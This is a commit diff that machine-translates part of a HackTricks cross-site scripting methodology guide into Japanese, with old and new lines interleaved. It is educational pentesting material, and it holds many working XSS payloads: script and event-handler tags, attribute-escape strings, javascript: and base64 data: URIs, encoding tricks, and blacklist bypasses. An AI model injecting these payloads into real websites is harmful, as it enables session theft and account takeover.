Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem

This commit is contained in:
Translator 2025-09-29 15:04:15 +00:00
parent a389380fed
commit df5a2e7d23
3 changed files with 358 additions and 214 deletions

View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

View File

@ -2,83 +2,83 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Methodology ## 手順
1. あなたが**制御できる任意の値**_parameters_, _path_, _headers_?, _cookies_?がHTMLに**反映**されているか、または**JSコードで使用**されているか確認する。 1. **あなたが制御する任意の値**_parameters_, _path_, _headers_?, _cookies_?)が HTML に**反映**されているか、または **JS** コードで**使用**されているか確認する。
2. 反映/使用されている**コンテキストを特定**する 2. それが反映/使用されている**コンテキストを特定する**。
3. **reflected**の場合 3. **反映されている場合**
1. **どの記号が使えるか**を確認し、それに応じてペイロードを準備する 1. どの記号が使えるかを確認し、それに応じてペイロードを準備する:
1. **raw HTML**の場合: 1. **raw HTML** 内:
1. 新しいHTMLタグを作成できるか 1. 新しい HTML タグを作成できるか?
2. `javascript:`プロトコルをサポートするイベントや属性を使えるか? 2. `javascript:` プロトコルをサポートするイベントや属性を使えるか?
3. 保護策をバイパスできるか? 3. 保護を回避できるか?
4. HTMLコンテンツがクライアントサイドのJSエンジン_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md)を悪用できる可能性がある。 4. HTML コンテンツがクライアントサイドの JS エンジン_AngularJS_, _VueJS_, _Mavo_...)で解釈されている場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) を悪用できる可能性がある。
5. JSを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)を悪用できないか? 5. JS を実行する HTML タグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) を悪用できないか検討する。
2. **HTMLタグ内**の場合: 2. **HTML tag** の内部:
1. raw HTMLコンテキストに脱出できるか? 1. raw HTML のコンテキストに抜け出せるか?
2. JSを実行するための新しいイベント/属性を作成できるか? 2. JS を実行するための新しいイベント/属性を作成できるか?
3. 捕らわれている属性はJS実行をサポートしているか? 3. 自分が閉じ込められている属性は JS 実行をサポートしているか?
4. 保護策をバイパスできるか? 4. 保護を回避できるか?
3. **JavaScriptコード内**の場合: 3. **JavaScript code** の内部:
1. `<script>`タグから脱出できるか? 1. `<script>` タグからエスケープできるか?
2. 文字列をエスケープして別のJSコードを実行できるか 2. 文字列をエスケープして別の JS コードを実行できるか?
3. 入力がテンプレートリテラル `` 内にあるか? 3. 入力がテンプレートリテラル `` 内にあるか?
4. 保護策をバイパスできるか? 4. 保護を回避できるか?
4. 実行されるJavascript **function** 4. 実行される Javascript の関数
1. 実行する関数名を指定できる場合がある。例: `?callback=alert(1)` 1. 実行する関数名を指定できる。例: `?callback=alert(1)`
4. **used**の場合: 4. **使用されている場合**:
1. **DOM XSS**を悪用できる可能性がある。入力がどのように制御されているか、あなたの**制御された入力がどのようなsinkで使われているか**に注意する 1. **DOM XSS** を悪用できる可能性がある。入力がどのように制御されているか、また**あなたが制御する入力がどの sink に使われているか**に注意すること
複雑なXSSを扱うときに役立つかもしれない情報 複雑な XSS に取り組む際、次の情報が役立つことがある:
{{#ref}} {{#ref}}
debugging-client-side-js.md debugging-client-side-js.md
{{#endref}} {{#endref}}
## Reflected values ## 反映される値
XSSを成功させるためにまず見つけるべきは、ウェブページに**反映されているあなたが制御できる値**である。 XSS を確実に悪用するために、まず見つけるべきはウェブページに**反映されているあなたが制御する値**である。
- **Intermediately reflected**: パラメータやパスの値がウェブページに反映されていることが分かれば、**Reflected XSS**を悪用できる可能性がある。 - **一時的に反映されている**: パラメータやパスの値がウェブページに反映されている場合、**Reflected XSS** を悪用できる。
- **Stored and reflected**: あなたが制御する値がサーバに保存され、ページにアクセスするたびに反映されるなら、**Stored XSS**を悪用できる可能性がある。 - **保存されて反映される**: あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されるなら、**Stored XSS** を悪用できる。
- **Accessed via JS**: あなたが制御する値がJSでアクセスされている場合、**DOM XSS**を悪用できる可能性がある。 - **JS 経由でアクセスされる**: あなたが制御する値が JS を使ってアクセスされている場合、**DOM XSS** を悪用できる。
## Contexts ## コンテキスト
XSSを悪用しようとする際にまず知るべきは、**あなたの入力がどこに反映されているか**だ。コンテキストによって、任意のJSコードを実行する方法が変わる。 XSS を悪用しようとする際、最初に知るべきは**入力がどこに反映されているか**である。コンテキストに応じて、任意の JS コードを実行する方法が変わる。
### Raw HTML ### Raw HTML
入力が**raw HTML**ページに反映されている場合、JSコードを実行するために何らかの**HTMLタグ**を悪用する必要がある:`<img , <iframe , <svg , <script` ... これらは使用可能な多数のHTMLタグの一部に過ぎない。\ 入力が**raw HTML に反映されている**場合、JS コードを実行するためにいくつかの**HTML タグ**を悪用する必要がある: `<img , <iframe , <svg , <script` ... これらは使用可能なタグの一部に過ぎない。
また、[Client Side Template Injection](../client-side-template-injection-csti.md)も念頭に置く。 また、[Client Side Template Injection](../client-side-template-injection-csti.md) も念頭に置くこと
### Inside HTML tags attribute ### HTML タグの属性内
入力がタグの属性値として反映されている場合、以下を試すことができる: 入力がタグ属性の値内に反映されている場合、次を試すことができる:
1. **属性とタグから脱出して**そうすればraw HTMLに入る新しいHTMLタグを作成して悪用する `"><img [...]` 1. 属性とタグから**エスケープする**(その場合 raw HTML に出る)ことで、新しい HTML タグを作成して悪用する: `\"><img [...]`
2. **属性からは脱出できるがタグからは脱出できない**場合(`>`がエンコードされているか削除されている、タグに応じてJSを実行する**イベント**を作成できる: `" autofocus onfocus=alert(1) x="` 2. 属性からはエスケープできるがタグからは出られない場合(`>` がエンコードまたは削除される)、タグに応じて JS を実行する**イベントを作成**できる: `" autofocus onfocus=alert(1) x="`
3. **属性から脱出できない**場合(`"`がエンコードされているか削除されている)、どの**属性**に反映されているか、そして**値全体を制御しているのか一部だけか**によって悪用方法が変わる。例として、`onclick=`のようなイベントを制御していれば、クリック時に任意のコードを実行させることができる。もう一つの例は`href`属性で、`javascript:`プロトコルを使って任意のコードを実行できる:**`href="javascript:alert(1)"`** 3. 属性からエスケープできない場合(`"` がエンコードまたは削除される)、値が反映される**どの属性か**、また**値全体を制御しているのか一部だけか**によって悪用方法が変わる。例えば `onclick=` のようなイベントを制御できるなら、クリック時に任意のコードを実行させられる。別の例として `href` 属性では `javascript:` プロトコルを使って任意コードを実行できる: **`href="javascript:alert(1)"`**
4. 入力が**"exploitableでないタグ"**内に反映されている場合、`accesskey`トリックを試して脆弱性を悪用できるかもしれない(これを悪用するには何らかのソーシャルエンジニアリングが必要):**`" accesskey="x" onclick="alert(1)" x="`** 4. 入力が“悪用不能なタグ”内に反映されている場合、`accesskey` トリックを試して脆弱性を悪用できる(これを実行するには何らかのソーシャルエンジニアリングが必要): **`" accesskey="x" onclick="alert(1)" x="`**
class名を制御するとAngularでXSSが発生する奇妙な例: クラス名を制御すると Angular が XSS を実行する奇妙な例:
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div> </div>
``` ```
### Inside JavaScript code ### JavaScriptコード内
この場合、入力はHTMLページの**`<script> [...] </script>`**タグ内、`.js`ファイル内、または**`javascript:`**プロトコルを使った属性内に反映されます: この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます:
- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **ブラウザはまずHTMLタグを解析し**、その後コンテンツを処理するため、挿入した `</script>` タグがHTMLコード内にあることに気づかないためです。 - If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: - If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
- `'-alert(1)-'` - `'-alert(1)-'`
- `';-alert(1)//` - `';-alert(1)//`
- `\';alert(1)//` - `\';alert(1)//`
- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` - If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** **valid javascript code** を書くために有効です: - **Unicode encode** works to write **valid javascript code**:
```javascript ```javascript
alert(1) alert(1)
alert(1) alert(1)
@ -86,8 +86,8 @@ alert(1)
``` ```
#### Javascript Hoisting #### Javascript Hoisting
Javascript Hoisting は、**関数や変数、クラスを使用した後に宣言できる機会を指し、XSS が未宣言の変数や関数を使っているケースを悪用できます。**\ Javascript Hoisting は、**使用後に関数、変数、クラスを宣言できる機会を指し、XSS が未宣言の変数や関数を使用しているようなシナリオを悪用できます。**\
**詳細は次のページを参照してください:** **以下のページを参照してください:**
{{#ref}} {{#ref}}
@ -96,15 +96,15 @@ js-hoisting.md
### Javascript Function ### Javascript Function
多くのウェブページには、**実行する関数名をパラメータとして受け取る** endpoint が存在します。一般的な例は `?callback=callbackFunc` のようなものです。 いくつかのウェブページには、実行する関数名をパラメータとして**受け取る**エンドポイントがあります。実際によく見かける例は `?callback=callbackFunc` のようなものです。
ユーザーから直接渡された値が実行されようとしているかを確かめる良い方法は、**パラメータの値を変更する**(例えば 'Vulnerable' に)ことと、コンソールに次のようなエラーが出るか確認することです: ユーザが直接渡した値が実行されようとしているかを確認する良い方法は、パラメータ値を**変更する**(例えば 'Vulnerable' に)ことと、コンソールで次のようなエラーを確認することです:
![](<../../images/image (711).png>) ![](<../../images/image (711).png>)
脆弱な場合は、値に **`?callback=alert(1)`** を送るだけで **alert をトリガーできる** ことがあります。しかし、この種の endpoint は一般的に内容を検証して、英数字、ドット、アンダースコアのみを許可する(**`[\w\._]`**ことが多いです 脆弱な場合、値を送るだけで**alert を発生させる**ことができます:**`?callback=alert(1)`**。しかし、多くのエンドポイントは文字、数字、ドット、アンダースコアのみを許可するように**コンテンツを検証する**のが非常に一般的です**`[\w\._]`**)。
しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字だけを使って DOM 内の任意の要素に**アクセスできる**ためです: しかし、その制限があってもいくつかの操作は可能です。これは、有効な文字を使ってDOM内の任意の要素に**アクセスできる**ためです:
![](<../../images/image (747).png>) ![](<../../images/image (747).png>)
@ -116,11 +116,11 @@ nextElementSibiling
lastElementSibiling lastElementSibiling
parentElement parentElement
``` ```
また、**Javascript functions** を直接**呼び出す**ことも試せます: `obj.sales.delOrders`. You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
しかし通常、示された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**other pages in the same origin** の方が、より多くの操作を行える**more interesting DOM**を持っていることがよくあります しかし、通常、指定された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、**同一オリジン内の他のページ**はより多くの操作を行うのに**より興味深いDOM**を持っているでしょう
したがって、別のDOMでこの脆弱性を**abuse**するために、Same Origin Method Execution (SOME) のエクスプロイト手法が開発されました: したがって、この脆弱性を**別のDOMで悪用する**ために、Same Origin Method Execution (SOME) のエクスプロイトが開発されました:
{{#ref}} {{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM ### DOM
**JS code** が **安全でない方法で** 攻撃者に制御されたデータ(例: `location.href`)を使用していることがあります。攻撃者はこれを悪用して任意の JS コードを実行できます。 **JS code** が **攻撃者が制御するデータ**(例: `location.href`)を**安全でない方法で**使用していることがあります。攻撃者はこれを悪用して任意のJSコードを実行できます。
{{#ref}} {{#ref}}
@ -138,8 +138,8 @@ dom-xss.md
### **Universal XSS** ### **Universal XSS**
この種のXSSは**anywhere**で見つかることがあります。これらは単にWebアプリケーションのクライアント側での悪用だけに依存するものではなく、**any** **context** に依存します。この種の **arbitrary JavaScript execution** は、**RCE** を得たり、クライアントやサーバー上の任意の **files****read** したりするために悪用されることさえあります。\ この種の XSS は**どこにでも**見つかり得ます。これらは単にウェブアプリケーションのクライアント側の悪用に依存するものではなく、**あらゆる** **コンテキスト**に依存します。これらの**任意の JavaScript 実行**は**RCE** の取得や、クライアントおよびサーバの**任意の** **ファイル**の**読み取り**などにも悪用され得ます。\
いくつかの **examples**: いくつかの**例**:
{{#ref}} {{#ref}}
@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML ## Injecting inside raw HTML
入力が**inside the HTML page** に反映される場合、またはこのコンテキストでエスケープを抜けてHTMLコードを注入できる場合、最初に行うべきことは `<` を悪用して新しいタグを作れるかどうかを確認することです。まずその**char** が反映されるか、**HTML encoded** されているか、削除されているか、あるいは**reflected without changes** かをチェックしてください。**最後の場合にのみこのケースを悪用できます**\ 入力が**HTMLページ内に反映される**場合、またはこのコンテキストでエスケープを回避してHTMLコードを注入できる場合、最初に行うべきことは新しいタグを作成するために`<`を悪用できるかどうかを確認することです。単純にその**文字**が**反映される**かを試し、それが**HTML encoded**されているか、**削除**されているか、あるいは**変更なしで反映**されているかを確認してください。**最後の場合にのみこのケースを悪用できます**\
れらの場合、[**Client Side Template Injection**](../client-side-template-injection-csti.md) も**keep in mind**してください。\ のようなケースでは [**Client Side Template Injection**](../client-side-template-injection-csti.md) も念頭に置いてください。\
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ _**注: HTML コメントは `-->` または `--!>` を使って閉じることができます**_
In this case and if no black/whitelisting is used, you could use payloads like: この場合、ブラック/ホワイトリスティングが使用されていなければ、次のようなペイロードを使用できます:
```html ```html
<script> <script>
alert(1) alert(1)
@ -169,8 +169,8 @@ alert(1)
<img src="x" onerror="alert(1)" /> <img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
ただし、タグ/属性のブラック/ホワイトリスティングが使用されている場合は、作成できる**brute-force which tags**を特定する必要があります。\ しかし、tags/attributes black/whitelisting が使用されている場合、作成できるタグを **brute-force which tags** する必要があります。\
使用可能な**タグを特定した**ら、見つかった有効なタグ内で属性やイベントを**brute-forceして**、コンテキストをどのように攻撃できるかを確認する必要があります。 許可されているタグを **located which tags are allowed** したら、見つかった有効なタグ内で属性/イベントを **brute-force attributes/events** して、コンテキストに対する攻撃方法を確認する必要があります。
### タグ/イベント brute-force ### タグ/イベント brute-force
@ -184,7 +184,7 @@ If you didn't find any valid HTML tag, you could try to **create a custom tag**
``` ```
### Blacklist Bypasses ### Blacklist Bypasses
何らかの blacklist が使われている場合、いくつかの簡単なトリックでそれを bypass してみてください: 何らかの blacklist が使用されている場合、いくつかのくだらないトリックでそれを bypass できるか試してみてください:
```javascript ```javascript
//Random capitalization //Random capitalization
<script> --> <ScrIpT> <script> --> <ScrIpT>
@ -236,29 +236,29 @@ onerror=alert`1`
``` ```
### Length bypass (small XSSs) ### Length bypass (small XSSs)
> [!NOTE] > **異なる環境向けの追加の tiny XSS payload** [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me). > [!NOTE] > **さまざまな環境向けの tiny XSS** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw> <svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
``` ```
最後のものは2つの unicode 文字を使っており、5つに展開されます: telsr\ The last one is using 2 unicode characters which expands to 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization).\ More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
どの文字に分解されるかを確認するには [here](https://www.compart.com/en/unicode/U+2121) を参照してください。 To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking ### Click XSS - Clickjacking
脆弱性を悪用するために事前入力されたデータを持つリンクやフォームを**ユーザーにクリックしてもらう必要がある**場合、ページが脆弱であれば[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)を試ことができます。 脆弱性を悪用するために事前入力されたデータを持つリンクやフォームをユーザにクリックさせる必要がある場合、ページが脆弱であれば[**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)を試みることができます。
### Impossible - Dangling Markup ### Impossible - Dangling Markup
もし**HTMLタグに属性を付けてJSコードを実行するようなHTMLタグを作成することは不可能だ**と考えているだけなら、[**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを**実行せずに**脆弱性を**exploit**できる可能性があるからです。 「属性付きのHTMLタグを作成してJSコードを実行することは不可能だ」と考えているだけなら、[**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)を確認してください。JSコードを実行せずに脆弱性を**exploit**できる可能性があります。
## HTMLタグ内への注入 ## Injecting inside HTML tag
### タグ内/属性値からのエスケープ ### Inside the tag/escaping from attribute value
もし**HTMLタグ内にいる**なら、最初に試すべきことはタグから**escape**して、[previous section](#injecting-inside-raw-html)で述べたいくつかのテクニックを使ってJSコードを実行することです。\ もし**inside a HTML tag**の状況であれば、まず試すべきはタグから**escape**して、[previous section](#injecting-inside-raw-html)で述べた技術を使ってJSコードを実行することです。\
もしタグから**escapeできない**場合、タグ内に新しい属性を作成してJSコードを実行しようと試みることができます。例えば次のようなペイロードを使います_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_: もしタグから**escapeできない**場合は、タグ内に新しい属性を作成してJSを実行しようとすることができます。例えば次のようなペイロードを使います_この例では属性からエスケープするためにダブルクォートを使用しています。入力がタグ内に直接反映される場合はこれらは不要です_:
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -275,14 +275,14 @@ More of these characters can be found [here](https://www.unicode.org/charts/norm
``` ```
### 属性内 ### 属性内
たとえ**属性からエスケープできない**`"` がエンコードされるか削除される)場合でも、値が反映される**どの属性か**や、値全体を制御しているのか一部だけかによって、悪用できる可能性があります。**例えば**`onclick=` のようなイベントを制御できれば、クリック時に任意のコードを実行させることができます。\ たとえ **属性から脱出できない**`"` がエンコードされるか削除される)場合でも、どの**属性**に値が反映されるか、そして値を**全体**制御できるのか**一部**だけかによって悪用が可能です。例えば`onclick=` のようなイベントを制御できれば、クリック時に任意のコードを実行させることができます。\
もう一つ興味深い****`href` 属性で、`javascript:` プロトコルを使って任意のコードを実行できます**`href="javascript:alert(1)"`** もう一つ興味深い例は `href` 属性で、`javascript:` プロトコルを使って任意のコードを実行できます: **`href="javascript:alert(1)"`**
**イベント内でのバイパスHTMLエンコード/URLエンコード使用** **HTML encoding/URL encode を使ったイベント内でのバイパス**
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコード**されます。したがって、次のようなものが有効になります(ペイロードは太字): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>` タグ属性の値の中の **HTML encoded characters** は**実行時にデコードされます**。したがって次のようなものが有効になります(ペイロードは太字): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
**どんな種類のHTMLエンコードでも有効である**ことに注意してください: 注意:**any kind of HTML encode is valid**:
```javascript ```javascript
//HTML entities //HTML entities
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
@ -299,19 +299,19 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時
<a href="&#106;avascript:alert(2)">a</a> <a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a> <a href="jav&#x61script:alert(3)">a</a>
``` ```
**URL encodeも動作することに注意してください:** **URL encodeも有効です:**
```python ```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a> <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
``` ```
**Bypass: イベント内で Unicode encode を使用** **イベント内でのバイパスUnicode encodeを使用**
```javascript ```javascript
//For some reason you can use unicode to encode "alert" but not "(1)" //For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) /> <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
``` ```
### 属性内の特殊プロトコル ### 属性内の特殊プロトコル
そこでは、特定の箇所でプロトコル **`javascript:`** や **`data:`** を使用して **任意のJSコードを実行する** ことができます。場所によってはユーザー操作が必要なものと、不要なものがあります 属性内では、一部の場所でプロトコル **`javascript:`** または **`data:`** を使用して **任意のJSコードを実行**できます。いくつかはユーザーの操作を必要とし、いくつかは必要としません
```javascript ```javascript
javascript:alert(1) javascript:alert(1)
JavaSCript:alert(1) JavaSCript:alert(1)
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**これらのプロトコルを注入できる場所** **これらのプロトコルを注入できる場所**
**一般的に** `javascript:` プロトコルは **`href` 属性を受け取る任意のタグで使用できます** および **ほとんどの** **`src` 属性を受け取るタグ** で使用できます(ただし `<img` は除く) **一般的に** `javascript:` プロトコルは、**`href` 属性を受け入れる任意のタグで使用できます**。また、**ほとんど**のタグでも**`src` 属性**を受け入れる場合に使用できます(ただし `<img>` は除く)
```html ```html
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -355,21 +355,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**その他の難読化トリック** **その他の難読化トリック**
_**この場合、HTML encoding と Unicode encoding のトリックは前のセクションと同様に、属性内にいるため有効です。**_ _**この場合、HTML encoding と Unicode encoding のトリックは、前のセクションと同様に、属性内では有効です。**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
さらに、これらのケースでは別の**良いトリック**があります: **`javascript:...` 内の入力が URL エンコードされていても、実行前に URL デコードされます。** なので、**エスケープ**するために**文字列**から**シングルクオート**を使う必要があり、かつそれが**URL エンコードされている**のが分かっている場合は、**問題ありません、** **実行**時には**シングルクオート**として**解釈**されます。 さらに、これらのケースで使えるもう一つの**良いトリック**があります: **`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**文字列**から**エスケープ**するために**シングルクォート**を使う必要があり、それが**URLエンコードされている**のが見えても、**気にする必要はありません、**実行時には**シングルクォート**として**解釈**されます。
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
注意: `URLencode + HTMLencode` を任意の順序で **両方を使う** ことで **payload** をエンコードしようとすると、**うまく** **いきません**。しかし、**payload の内部でそれらを混在させる**ことができます。 注意: **両方を使う** `URLencode + HTMLencode` を任意の順序で使って **payload** をエンコードしようとすると **動作し** **ません** が、**payload の中で混在させる**ことはできます。
**`javascript:` と一緒に Hex と Octal encode を使う** **`javascript:` と一緒に Hex と Octal encode を使う**
少なくとも `iframe``src` 属性内で、**Hex** と **Octal encode** を使用して **HTML tags to execute JS** を宣言できます: 少なくとも `iframe``src` 属性内で **Hex****Octal encode** を使って **HTML tags to execute JS** を宣言することができます:
```javascript ```javascript
//Encoded: <svg onload=alert(1)> //Encoded: <svg onload=alert(1)>
// This WORKS // This WORKS
@ -385,16 +385,17 @@ _**この場合、HTML encoding と Unicode encoding のトリックは前のセ
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
任意の **`<a href=`** タグに任意の URL を注入でき、そのタグが **`target="_blank" and rel="opener"`** 属性を含む場合、この挙動を悪用するために次のページを確認してください: 任意の**`<a href=`**タグに任意のURLを注入でき、そのタグが**`target="_blank" and rel="opener"`**属性を含む場合、この挙動を悪用するために次のページを確認してください:
{{#ref}} {{#ref}}
../reverse-tab-nabbing.md ../reverse-tab-nabbing.md
{{#endref}} {{#endref}}
### on イベントハンドラのバイパス ### on Event Handlers Bypass
まずこのページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))を参照して、便利な **"on" event handlers** を確認してください。\ まずこのページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))を確認して、役立つ **"on" event handlers** を参照してください。\
もし何らかの blacklist によってこれらの event handlers を作成できない場合は、次のバイパスを試してみてください: もしブラックリストによってこれらの event handlers の作成が妨げられている場合は、以下のバイパスを試してください:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)> <svg %09onload=alert(1)>
@ -409,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B Android: %09 %20 %28 %2C %3B
``` ```
### "Unexploitable tags"hidden input, link, canonical, metaにおける XSS ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) によれば、**hidden inputs を悪用することが可能になりました** こちらの[**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)によれば、**hidden inputs を悪用できるようになったものは次のとおりです**
```html ```html
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" /> <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
``` ```
そして **meta tags** の中では: そして **meta tags**:
```html ```html
<!-- Injection inside meta attribute--> <!-- Injection inside meta attribute-->
<meta <meta
@ -430,17 +431,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
詳細は [**here**](https://portswigger.net/research/xss-in-hidden-input-fields) を参照: From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **XSS payload inside a hidden attribute** を実行できます。条件は、**persuade** して **victim****key combination** を押させることです。Firefox (Windows/Linux) ではそのキー組み合わせは **ALT+SHIFT+X**、OS X では **CTRL+ALT+X** です。access key attribute で別のキーを指定すれば、別のキー組み合わせを指定できます。以下が攻撃ベクターです:
**XSS payload inside a hidden attribute** を実行できますが、**被害者**を**説得して**その**キー操作**を押させる必要があります。FirefoxWindows/Linuxではキー操作は **ALT+SHIFT+X**、OS X では **CTRL+ALT+X** です。access key attribute に別のキーを指定すれば、別のキー操作を指定できます。
ベクターは次のとおり:
```html ```html
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
**XSSペイロードは次のようなものになります: `" accesskey="x" onclick="alert(1)" x="`** **XSS ペイロードは次のようになります: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses ### ブラックリスト回避
このセクションですでにさまざまなエンコーディングを使ったいくつかのトリックが紹介されています。戻って、どこで使えるかを学んでください: このセクションですでにさまざまなエンコーディングを使ったいくつかのトリックが紹介されています。**戻ってどこで使用できるかを学んでください:**
- **HTML encoding (HTML tags)** - **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)` - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -448,57 +447,57 @@ onbeforetoggle="alert(2)" />
